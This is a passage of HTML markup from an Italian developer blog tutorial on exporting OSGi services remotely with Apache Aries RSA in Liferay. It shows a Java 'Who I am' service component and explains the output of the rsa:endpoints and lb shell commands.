Provider&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.service;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.Bundle;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.BundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.Constants;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Activate;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Component;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Reference;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.log.LogService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; java.net.InetAddress;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; java.net.UnknownHostException;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  property = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;service.exported.interfaces=*&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;aries.rsa.port=8202&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamServiceImpl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;NA&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      hostAddress = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;InetAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLocalHost&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UnknownHostException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;LOG_ERROR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      response, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundleId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHeaders&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BUNDLE_NAME&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getVersion&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;FRAMEWORK_UUID&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), hostAddress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    _bc = bundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LogService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Abilitazione del componente che implementa l&amp;#x27;interfaccia Who I am per essere esportato come servizio remoto&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per noi sviluppatori la &amp;quot;fatica&amp;quot; è finita qui, non occorre fare nient&amp;#x27;altro.
Anche per il consumer non cambia nulla (vedi Source Code 4), basta inserire
l&amp;#x27;annotazione &lt;em&gt;@Reference&lt;/em&gt; al membro dichiarato di tipo WhoIamService, come sempre fatto.
Sarà poi cura del Topology Manager iniettare il riferimento corretto al servizio
remoto, quello che vive all&amp;#x27;interno dell&amp;#x27;altro container OSGi.&lt;/p&gt;&lt;p&gt;Connettiamoci alla Gogo Shell di Liferay e vediamo cos&amp;#x27;è cambiamo sotto
rispetto al solito. Con l&amp;#x27;installazione di Apache Aries (RSA) abbiamo a nostra
disposizione il comando per poter interrogare il Remote Service Admin e capire
quali endpoint sono stati creati. Il comando si chiama &lt;code&gt;rsa:endpoints&lt;/code&gt; e
l&amp;#x27;output di questo eseguito sulla Gogo Shell di Liferay dovrebbe essere simile a
quello mostrato a seguire.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/726c56e0344b5c168874479a49eb4f26/dc0c1/output-comando-rsa-endpoints.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;31\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2031\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2016c0%208%200%2015%201%2014l2-2v2l1%201c3%200%202-4%200-5-4%200-4-2%200-2l2%202%201%201%201%202c0%202%201%202%20196%202h197V0H0v16m0%201l1%2010c0-5%200-5%202-5h3l-2-1-3-2h2l3-1-1-1-4-2%20198-1%20198-1H199A7412%207412%200%20015%2010L3%209%201%208l8-1h8L8%206C2%205-2%204%204%204s7-2%201-2H0v15m187%200c0%201-1%201%2031%202l30-1a301%20301%200%2000-61%200m-38%203c0%201%203%202%209%201l5%201-14%201-8%201%2023%201%201-2c0-1%201-2%207-2%207%200%2011-1%206-1h-29\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/726c56e0344b5c168874479a49eb4f26/c85cb/output-comando-rsa-endpoints.webp 300w,/static/726c56e0344b5c168874479a49eb4f26/e88ff/output-comando-rsa-endpoints.webp 600w,/static/726c56e0344b5c168874479a49eb4f26/92f8c/output-comando-rsa-endpoints.webp 1200w,/static/726c56e0344b5c168874479a49eb4f26/62ed8/output-comando-rsa-endpoints.webp 1800w,/static/726c56e0344b5c168874479a49eb4f26/12983/output-comando-rsa-endpoints.webp 2348w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/726c56e0344b5c168874479a49eb4f26/5a46d/output-comando-rsa-endpoints.png 300w,/static/726c56e0344b5c168874479a49eb4f26/0a47e/output-comando-rsa-endpoints.png 600w,/static/726c56e0344b5c168874479a49eb4f26/c1b63/output-comando-rsa-endpoints.png 1200w,/static/726c56e0344b5c168874479a49eb4f26/d61c2/output-comando-rsa-endpoints.png 1800w,/static/726c56e0344b5c168874479a49eb4f26/dc0c1/output-comando-rsa-endpoints.png 2348w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Output del comando rsa:endpoints&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/726c56e0344b5c168874479a49eb4f26/c1b63/output-comando-rsa-endpoints.png&quot; title=&quot;Figura 13 - Output del comando rsa:endpoints&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Output del comando rsa:endpoints&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Quello mostrato in figura corrisponde a quanto mi sarei aspettato, ed
effettivamente i conti tornano; forse qualcuno potrebbe obiettare. Ci sono tre
endpoint. &lt;strong&gt;perché tre endpoint se i servizi che abbiamo esportato sono due?&lt;/strong&gt; È
vero che i servizi esportati sono due ma il servizio Who I am è installato su
due differenti container OSGi. Le informazioni che il comando restituisce
sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;id&lt;/strong&gt;: identificativo del servizio esportato espresso in formato URI.
Protocollo, indirizzo ip del servizio e porta;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;interface&lt;/strong&gt;: è il nome completo dell&amp;#x27;interfaccia che il servizio implementa;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;framework&lt;/strong&gt;: è l&amp;#x27;identificato del framework OSGi all&amp;#x27;interno del quale il
servizio vive;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;comp name&lt;/strong&gt;: è il nome del componente che corrisponde alla classe Java che
implementa l&amp;#x27;interfaccia e di conseguenza il servizio.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Notate che l&amp;#x27;identificativo del framework è diverso per ognuno degli endpoint,
corretto, perché sono servizi che vivono in tre container OSGi diversi.&lt;/p&gt;&lt;p&gt;Cliccando su Console Sessione 2, potete vedere la sessione di terminale dove
si evidenzia il processo di registrazione del nuovo endpoint che riguarda il servizio
del Raspberry Pi. Il nuovo endpoint è infatti registrato subito dopo l&amp;#x27;avvio
dell&amp;#x27;istanza di Apache Karaf installata sul Raspberry Pi.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;a href=&quot;https://asciinema.org/a/351189?autoplay=1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://asciinema.org/a/351189.svg&quot; width=&quot;100%&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Console Session 2 - Controllo Apache Aries (RSA) Enpoint&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Quante volte avete utilizzato il comando &lt;code&gt;bundle&lt;/code&gt; o &lt;code&gt;b&lt;/code&gt; per fare l&amp;#x27;inspection
dei bundle? Immagino parecchie volte, soprattutto quando c&amp;#x27;era da capire perché
le cose non funzionavano. Proviamo ad eseguire il comando &lt;code&gt;b&lt;/code&gt; sul bundle del
consumer del servizio Who I am e vediamo cosa presenterà l&amp;#x27;output.&lt;/p&gt;&lt;p&gt;Prima di eseguire il comando per l&amp;#x27;inspection del bundle, utilizziamo il comando
&lt;code&gt;lb it.smc.techblog&lt;/code&gt; per ottenere la lista dei nostri bundle per poi ricavare
l&amp;#x27;id del bundle di cui siamo interessati di fare l&amp;#x27;inspection.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/76435/output-comando-lb-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:14.666666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;59\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2059\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2030l1%2029%201-2%201-2%201%202c0%202%201%202%204%202s3%200%203-4c0-2%200-3%202-3%201%201%202%201%202%205%200%202%201%202%20193%202h193V0H0v30m278-6l1%201v1c-1%201%200%202%207%202%206%200%208-1%208-2l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%205%201%206-1v-2c0-2-34-2-35-1m67%200c-2%201-3%204-1%204l1-1h1c1%201%2012%201%2013-1%201-1%201-1%201%201h1l2-2v3l2-1v-1l1%201%205%201%206-1v-3h-32m-5%209c0%202%208%203%208%201h1c1%202%205%202%207-1h1v2l1-1%201-2%201%202c-1%202%204%202%205%200l1-1c0%202%2012%202%2012%200l-3-2c-2%200-3%201-2%202l-1%201-1-1c0-3-2-2-3%200h-1c0-3-27-2-27%200m-45%208c0%202%201%202%208%202%205%200%207-1%207-2l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%207%201c7%200%207%200%207-3l-1-2-1%202v1l-1-1c0-1-4-2-17-2-16%200-17%200-17%203m64%200l1%202%201-1h4l1-2v1c-1%202%200%202%204%202%203%200%204-1%205-2l1%201h1l1-2v2l1%201%202-1v-1l1%201%207%201c8%200%208%200%207-3%200-2-1-2-2-1h-1l-17-1c-17%200-17%201-17%203m-99%205v2c-1%202%200%202%207%202%206%200%208-1%208-2l1-1v2h1l2-1v1c-1%201%201%201%204%201%204%200%205-1%204-2a1144%201144%200%2000-27-3m63%201l1%201v1c-1%201%200%202%207%202%206%200%208-1%208-2h3l1-1%201%201c-1%201%200%202%203%202%204%200%205%200%204-2%200-2%200-2-15-2h-13\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/c85cb/output-comando-lb-liferay.webp 300w,/static/bd39c95453e1b634ca4cb2b41f7a2995/e88ff/output-comando-lb-liferay.webp 600w,/static/bd39c95453e1b634ca4cb2b41f7a2995/92f8c/output-comando-lb-liferay.webp 1200w,/static/bd39c95453e1b634ca4cb2b41f7a2995/97499/output-comando-lb-liferay.webp 1742w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/5a46d/output-comando-lb-liferay.png 300w,/static/bd39c95453e1b634ca4cb2b41f7a2995/0a47e/output-comando-lb-liferay.png 600w,/static/bd39c95453e1b634ca4cb2b41f7a2995/c1b63/output-comando-lb-liferay.png 1200w,/static/bd39c95453e1b634ca4cb2b41f7a2995/76435/output-comando-lb-liferay.png 1742w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
